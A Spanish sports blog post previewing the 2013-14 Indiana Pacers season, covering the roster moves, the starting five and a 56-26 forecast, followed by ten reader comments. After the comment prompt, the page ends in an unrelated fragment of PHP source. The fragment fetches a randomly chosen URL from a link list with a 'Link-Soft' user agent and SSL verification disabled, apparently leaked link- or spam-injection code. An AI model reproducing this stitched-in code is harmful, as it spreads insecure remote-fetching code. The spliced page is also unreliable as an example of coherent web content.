Indiana Pacers: Ganar hoy

02 de October de 2013 por Esteban

Giro inesperado en los despachos de los Pacers: del conservadurismo demostrado la temporada pasada a una clara decisión de ir a por todo.

Dos caminos tenían estos Pacers. Uno de ellos era el de mantener dentro de sus márgenes lo bueno el año pasado y mejorarlo en lo posible sin perder de vista el futuro. Esta opción, como hacíamos notar en el resumen de fin de curso, implicaba traspasar el expiring de Danny Granger, en otra época jugador franquicia del equipo,  por algunos jugadores más jóvenes y baratos, rondas o espacio salarial. También se tendría que negociar duramente con David West y no firmarle un contrato mayor de 8 o 10 millones por un año o a lo sumo dos. Tambiénse debería renovar a Tyler Hasbrough por poco dinero y varias temporadas, asegurándose así un joven interno por un buen tiempo. Finalmente habría que fichar un base joven suplente que fuera más futuro que presente y sin dudas darle muchos minutos a  Orlando Johnson y Salomon Hill. Pequeños retoques con las renovaciones de George y Stephenson en el horizonte.

Pero los directivos Pacers han visto la posibilidad de ir a por el primer título de la franquicia en la historia y han echado toda la carne en el asador, aun hipotecando el futuro de los próximos dos o tres años.  Es un todo nada. La renovación de David West era necesaria pero a su edad 36 millones por 3 años garantizados parece exagerado. Con este supercontrato, Indiana comenzaba a demostrar que había llegado la hora de gastar el dinero y que el momento es ahora. Con esta filosofía ficharon como base suplente al veterano CJ Watson, que viene de dos años bárbaros en los Bulls y los Nets y unos PO pasados mejores aun. Buenos fichajes para el hoy pero que difícilmente pueden ser el cimiento para el mañana. 

Dejaron marchar a Hasbrough, que estaba lejos de ser una estrella pero al menos era joven y barato y con cierto margen de mejora, ya que no iba a dar un salto de calidad al equipo. En su lugar los Pacers se han hecho con los servicios de Luis Scola, quien como interno de recambio y a ese valor es un lujo que pocos pueden permitirse. Lo cierto es que Luisito llegará a la próxima temporada con 33 años y un declive en su rendimiento. En el trade se deshicieron de Gerald Green y tuvieron que entregar su selección de primera ronda. Otro prueba más de que en Indiana solo se mira el presente.

Más allá de estas consideraciones los Pacers son hoy por hoy la gran alternativa a los Miami Heat en el Este y sus movimiento no han hecho más que mejorar el equipo de modo notable. El año pasado Frank Vogel disfrutó de una banca inexistente. Sus titulares se quedaron sin ningún tipo de ayuda y nunca pudieron descansar todos a la vez. Hoy el 5 inicial surge de memoria: George Hill, Lance Stephenson, Paul George, David West y Roy Hibbert. Con excepción de West todos son jugadores jóvenes que en principio solo deberían mejorar. El propio West ha de demostrar que el año pasado jugo con el corazón para el equipo y no para ganarse un contratazo. Si es así, no hay cinco inicial mejor que el de Indiana en el Este.

A esto entonces se le suma una banca enormemente mejorada: Como base suplente tendrán a CJ Watson, quien sin ser una estrella, puede jugar y lanzar con la soltura de la que nunca hizo gala DJ Augustine. Este cambio por si solo ya mejoraba ampliamente la banca del equipo. Han decidido dejar a Danny Granger en el plantel, quien si acepta (no creo que tenga problemas) asumir un papel de reserva de lujo, puede darle el tiro y generar los espacio de los que carecieron los Pacers el año pasado. Su capacidad anotadora comandando la segunda unidad es un verdadero lujo. Tambien sumaron a Cris Copeland, otro capaz de aportar puntos y poco más, pero en un equipo tan bueno defensivamente son muy necesarios los anotadores.  En el puesto de power foward suplente han cambiado a Hansbrough por Scola, una mejoría notable. Quizá Scola solo podrá dar buen juego este año y no tiene mayor futuro en la liga pero como interno de recambio y aprovechando los espacios de sus compañeros, puede llenarse de anotaciones. Existen pocos internos con tiro profundo, pasos de baile en el poste, capacidad de generarse su propio tiro y sobretodo excelentes profesionales que aceptarán sin chistar un rol secundario. Scola es uno y lo tienen los Pacers. Por ultimo, seguirá Ian Mahinmi de centro suplente de quien se espera al menos cierta mejoría.

El cinco inicial es conocido de memoria, sumado a esta renovada y excelente banca, los Pacers deberían estar en condiciones de ser contendientes a la par de los Heat en las apuestas. Los Pacers han visto luz y subieron. Notaron que su jugador franquicia (George) aún cobra su ridículo contrato rookie, lo que les permite tener una banca de más de 20 millones de dólares. Granger no seguirá la próxima temporada y Scola seguramente bajará sus prestaciones, pero este año, aún pueden ayudar mucho a los Pacers para ganar el título.

Quinteto inicial:  George Hill, Lance Stephenson, Paul George, David West y Roy Hibbert
Sexto hombre: Danny Granger

Pronóstico: 60 victorias debería ser el objetivo pero vamos a dar 56 victorias y 26 derrotas. En la Era de Lebron, apostar contra su majestad es una herejía que se castiga con el rídiculo. Si los Pacers jugaran en el Oeste, me animaría a meterlos en final de la NBA pero cruzándose con el todopoderoso James, no puedo darles tanto. Finalistas del Este cayendo 4-3 con los Heat pero nuevamente por poquito.

Comenta

10 comentarios a esta entrada

  1. Denise dice:
    #1

    Pues un equipazo en toda regla, cabeza de serie nº 2 en el Este con muchas virtudes en ataque y en defensa, solido y sin apenas resquicios en su juego. No sé cuantos años tendrán que pasar para que los Pacers tengan tantas opciones de anillo como este año.
    Respecto a Hill, se que es bueno y sus números no son malos, pero no acaba de gustarme como base.
    El termómetro del equipo será Granger, si su rendimiento es óptimo, el equipo es para exciitarse si eres seguidor Pacer.
    Con West se han hipotecado, desde los despachos creo que deben rezar para que se marque una buena temporada y despues intentar quitarse de en medio el contrato porque a la larga va a ser bastante toxico.

      Citar

  2. txusma dice:
    #2

    Si el año pasado llevaron a los Heat al séptimo partido porqué no han de poder dar la campanada este año? Como dice el análisis CJ Watson mejora muchísimo a DJ Augustine y Chris Copeland tb mejora a Gerald Green. Scola y Hansbrough son diferentes pero el argentino aporta una anotación interior que cuando West no estaba en pista desaparecía un poco.

      Citar

  3. HisRoyalAirness dice:
    #3

    Os veo muy optimistas. Vale que KG y Pierce son mayores pero el quinteto de Brooklyn se puede equiparar a este sin despeinarse.

      Citar

  4. txusma dice:
    #4

    HisRoyalAirness:
    Os veo muy optimistas. Vale que KG y Pierce son mayores pero el quinteto de Brooklyn se puede equiparar a este sin despeinarse.

    Es que nadie ha dicho que los Nets no puedan tb dar la campanada…

      Citar

  5. Rompe dice:
    #5

    Buen análisis, pero para mi gusto un poco excesivo. No los veo superiores a los nets, knicks o unos bulls con un rose al 80%. Y tampoco los veo superiores a ninguno de los cocos del oeste.

      Citar

  6. Simon dice:
    #6

    Equipazo con mayusculas que encima tiene las ideas clarísimas. Sólo veo a Miami Heat ligerisimamente por encima de ellos y a los Bulls a su nivel si Rose vuelve a un gran nivel .

      Citar

  7. sempren dice:
    #7

    Yo entiendo las dudas respecto a si los Nets pueden estar a un nivel similar: por una parte venimos de un año que no daría muchas esperanzas a ese proyecto (funcionó admirablemente por momentos, pero tendrían que haber demostrado más en PO); por la otra, la plantilla que se han sacado de la manga es la leche.

    Y respecto a los Pacers, yo creo que Txusma está muy acertado: si han mejorado el equipo como es obvio que lo han hecho… ¿por qué no? Sí, LeBron será todavía mejor, pero al resto de secundarios les puede costar algo más: el rendimiento de los Wade o Bosh no estuvo regularmente a sus respectivas alturas, Battier no fue la pesadilla del año anterior, etc.
    Con Granger bien, y con que los fichajes no salgan mal (ya no digo bien), ese poquísimo que les faltó este año se puede convertir en algo más.

    ¡Más emoción, más madera! 😀

      Citar

  8. rumbero dice:
    #8

    Campeonos NBA 2014. Ahí queda escrito

      Citar

  9. Simon dice:
    #9

    rumbero:
    Campeonos NBA 2014. Ahí queda escrito

    Yo me uno a la apuesta.

      Citar

  10. Sancho88 dice:
    #10

    La clave se llama Lance Stephenson. Este chico tiene ganas de explotar y ser un escolta de referencia dentro de la liga. Parece una tontería, pero los Pacers dependen mucho de su agresividad en defensa y de su espíritu en ataque para ser un equipo aplastante. Sobre West, a mí es un tipo que me recuerda un poco a Chris Webber. Símplemente es un jugador maravilloso, da igual la edad que tenga, de los mejores si no el mejor ala-pívot ofensivo de la liga.

    Yo también veo a los Pacers en las finales contra Miami y creo que este año pueden dar la campanada, pero como bien dices Esteban, a ver quién es el guapo que se atreve a apostar algo contra LeBron…

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>